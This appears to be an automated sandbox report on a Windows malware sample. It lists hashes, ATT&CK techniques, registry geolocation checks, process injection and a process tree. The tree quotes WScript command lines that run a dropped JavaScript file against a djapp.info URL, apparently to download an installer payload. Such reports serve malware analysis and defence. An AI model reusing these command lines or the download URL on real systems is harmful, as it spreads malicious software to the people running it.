68121854fc566f7f4022fec329f3ba9e01e28483cd834beed404a83e3c6af50f

General

Target

639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe
Size

184KB
MD5

639ac6b08313d470e3874bf5f87c7b12
SHA1

e9845679e2e71488a72849a9697ed51f8cba6aa4
SHA256

68121854fc566f7f4022fec329f3ba9e01e28483cd834beed404a83e3c6af50f
SHA512

e0d005606eee7469f33a4b132d14854578d94f8585d4ae58633c61c3fb681e9d70b370e0f62371060d3677942cb11743f4ff685ec8c16ec2d725d92b1a09f60f
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3X0:/7BSH8zUB+nGESaaRvoB7FJNndnd

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

Processes:

WScript.exeWScript.exeWScript.exeWScript.exeWScript.exe

flow pid process

6 456 WScript.exe
39 2008 WScript.exe
41 3868 WScript.exe
53 4048 WScript.exe
55 5056 WScript.exe

flow	pid	process
6	456	WScript.exe
39	2008	WScript.exe
41	3868	WScript.exe
53	4048	WScript.exe
55	5056	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2348 1212 WerFault.exe 639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe

pid	pid_target	process	target process
2348	1212	WerFault.exe	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe

Modifies registry class 1 IoCs

Processes:

639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000_Classes\Local Settings	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe

description	pid	process	target process
PID 1212 wrote to memory of 456	1212	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe	WScript.exe
PID 1212 wrote to memory of 456	1212	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe	WScript.exe
PID 1212 wrote to memory of 456	1212	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe	WScript.exe
PID 1212 wrote to memory of 2008	1212	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe	WScript.exe
PID 1212 wrote to memory of 2008	1212	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe	WScript.exe
PID 1212 wrote to memory of 2008	1212	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe	WScript.exe
PID 1212 wrote to memory of 3868	1212	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe	WScript.exe
PID 1212 wrote to memory of 3868	1212	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe	WScript.exe
PID 1212 wrote to memory of 3868	1212	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe	WScript.exe
PID 1212 wrote to memory of 4048	1212	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe	WScript.exe
PID 1212 wrote to memory of 4048	1212	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe	WScript.exe
PID 1212 wrote to memory of 4048	1212	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe	WScript.exe
PID 1212 wrote to memory of 5056	1212	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe	WScript.exe
PID 1212 wrote to memory of 5056	1212	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe	WScript.exe
PID 1212 wrote to memory of 5056	1212	639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\639ac6b08313d470e3874bf5f87c7b12_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1212

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf34BC.js" http://www.djapp.info/?domain=vYJRiGPlBr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf34BC.exe
2⤵
- Blocklisted process makes network request
PID:456

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf34BC.js" http://www.djapp.info/?domain=vYJRiGPlBr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf34BC.exe
2⤵
- Blocklisted process makes network request
PID:2008

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf34BC.js" http://www.djapp.info/?domain=vYJRiGPlBr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf34BC.exe
2⤵
- Blocklisted process makes network request
PID:3868

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf34BC.js" http://www.djapp.info/?domain=vYJRiGPlBr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf34BC.exe
2⤵
- Blocklisted process makes network request
PID:4048

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf34BC.js" http://www.djapp.info/?domain=vYJRiGPlBr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf34BC.exe
2⤵
- Blocklisted process makes network request
PID:5056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1212 -s 1460
2⤵
- Program crash
PID:2348

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 1212 -ip 1212
1⤵
PID:2652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf34BC.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads